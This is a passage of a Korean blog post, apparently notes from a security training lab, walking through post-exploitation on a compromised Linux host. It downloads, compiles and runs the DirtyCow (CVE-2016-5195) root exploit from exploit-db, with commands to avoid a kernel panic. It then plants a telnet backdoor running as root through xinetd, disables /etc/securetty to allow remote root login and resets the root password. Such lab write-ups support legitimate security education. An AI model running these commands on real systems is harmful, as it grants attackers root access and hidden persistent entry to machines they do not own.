본 내용 및 실습 환경은 KISEC, 케이쉴드 주니어 교육 과정에 있음을 알려드립니다.

이전 내용

웹 쉘을 통해 2차 침투를 위한 리버스 쉘을 커널 버전이 취약한 것을 확인했다. 이번에는 권한 상승인 Privilege Escalation 전략을 사용할 것이다.

Privilege Escalation

공격자는 더 높은 수준의 권한을 얻으려고 합니다.

웹 쉘로 접근 했을 때는 관리자 권한이 아니고 제한적(제 3자의 권한)이기에 권한 상승을 통한 추가 공격을 진행할 것이다.

권한 상승은 공격자가 시스템 또는 네트워크에 대한 더 높은 수준의 권한을 얻기 위해 사용하는 기술로 구성됩니다. 공격자는 종종 권한 없는 액세스로 네트워크에 들어가 탐색할 수 있지만 목표를 달성하려면 높은 권한이 필요합니다.

Exploitation for Privilege Escalation

공격자는 권한을 높이기 위해 소프트웨어 취약점을 악용할 수 있습니다. 소프트웨어 취약점의 악용은 공격자가 프로그램, 서비스 또는 운영 체제 소프트웨어 또는 커널 자체의 프로그래밍 오류를 이용하여 공격자가 제어하는 ​​코드를 실행할 때 발생합니다.

권한 수준과 같은 보안 구성은 종종 정보에 대한 액세스와 특정 기술의 사용을 방해하므로 공격자는 이러한 제한을 우회하기 위해 소프트웨어 악용을 포함하도록 권한 상승을 수행해야 할 것입니다.

저번 실행 및 발견을 통해 해당 커널 버전이 취약하다는 것을 확인했다.

권한 상승을 위한 악용으로는 CVE-2016-5195(DirtyCow)를 이용할 것이다.

DirtyCow

4.8.3 이전 버전인 리눅스 커널 2.x에서 4.x까지의 mm/gup.c 단위의 Race Condition은 로컬 사용자가 읽기 전용 메모리 매핑에 쓰기 위해 COW(Copy-On-Write) 기능을 잘못 처리함으로써 권한을 얻을 수 있게 한다.

즉, Copy-On-Write 취약점을 이용한 Race Condition을 유발하는 것이다.

자세한 내용을 링크를 통해서 확인해보길 바랍니다.

리버스 쉘으로 진행할 것이다.

wget https://www.exploit-db.com/exploits/40616 -O cowroot.c # File Download
gcc cowroot.c -o cowroot -pthread
./cowroot # <--------- <주의> 아래를 먼저 읽고 진행하세요.
  • gcc -pthread : .c 파일 내에서 pthread를 사용한다. 하지만 Linux에서 gcc 컴파일 시 pthread에 대한 라이브러리를 자동으로 링킹해주지 않기에 해당 옵션으로 링킹을 해줘야한다.

지금부터 잘못 했을 경우 피해자 시스템에 대한 정보를 모두 날리고 진행해야합니다. 스냅샷을 해두시길 바랍니다.

우리는 다운로드 받은 cowroot.c를 컴파일하여 실행 파일로 만들었다.

해당 취약점을 이용한 악용을 커널에 대해 비정상적으로 접근하기에 커널 패닉으로 인한 먹통이 일어날 수 있다. 따라서, 커널 패닉 발생을 차단하기 위한 코드를 미리 준비해둬야 한다.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
mv /tmp/bak /usr/bin/passwd
  • 위 코드를 메모장에 적어두고 복사-붙여넣기를 미리 준비해둔다.

./cowroot를 하자마자 바로 터미널에 두 명령어를 붙여넣고 id를 하면 root 권한으로 변경된 것을 확인 할 수 있다.

필자는 이미 진행 했기에 연결 접속 해제 이후 추가 접속이 불가하기에 예시 사진을 보여드릴 수 없습니다.

이렇게 root 권한을 탈취 성공 하였다면 해당 추가적인 접근 움직임을 Lateral Movement 전술이라 한다.

Lateral Movement

공격자가 네트워크의 원격 시스템에 진입하고 제어하는 ​​데 사용하는 기술로 구성됩니다. 주요 목표를 달성하려면 종종 네트워크를 탐색하여 목표를 찾은 다음 액세스 권한을 얻어야 합니다.

우리는 원격 접속 서비스의 대표적인 텔넷을 악용하여 내부 시스템에 접근할 것이다. 텔넷을 이용한 백도어로 설치를 진행하겠습니다.

네트워크 이동 뿐만 아니라 계정간 이동도 Lateral Movement라 한다.

Remote Service

공격자는 유효한 계정 을 사용하여 Telnet, SSH 및 VNC와 같은 원격 연결을 허용하도록 특별히 설계된 서비스에 로그인할 수 있습니다. 그런 다음 공격자는 로그온한 사용자로 작업을 수행할 수 있습니다.

대부분의 서비스들은 사용하지 않는 서비스 및 프로그램(Telnet, SSH)를 설치 하지 않았을 것이다.

하지만, 우리는 root 권한을 가지고 있기에 Telnet을 설치할 것이다.(추가로 리버스 쉘을 통해서 접근해보면 환경 변수가 제대로 적용 되어 있지 않기에 환경 변수도 수정해줄 것이다.)

export PATH=$PATH:/usr/local/bin
export PATH=$PATH:/usr/sbin
export PATH=$PATH:/sbin
apt-get install -y xinetd telnetd # Install telnet service
  • 텔넷에 대한 config를 수정해야하는데 vi도 되지 않을 것이다. echo를 이용하여 config를 수정해준다.
echo -e "service telnet\n{\n    disable = no\n    flags = REUSE\n    socket_type = stream\n    wait = no\n    user = root\n    server = /usr/sbin/in.telnetd\n    log_on_failure += USERID\n}" > /etc/xinetd.d/telnet

  • cat /etc/xinetd d/telnet로 제대로 적용됐는지 확인해본다.

  • mv /etc/securetty /etc/securetty.old
    • securetty은 터미널을 root 계정으로 접근할 수 있는 ID를 모아둔 것으로 root 계정을 해당 파일에 등록하면 괜찮지만, 변경보단 파일명을 인식하지 못하게 변경하여 우회하여 접근하는 것이다.
  • sudo passwd로 root 패스워드를 변경한다.

  • service xinetd restart로 재시작하고 telnet dev.fngs.kr를 하고 ID(root), PW를 입력하면 아래처럼 root 권한으로 접근한 것을 알 수 있다.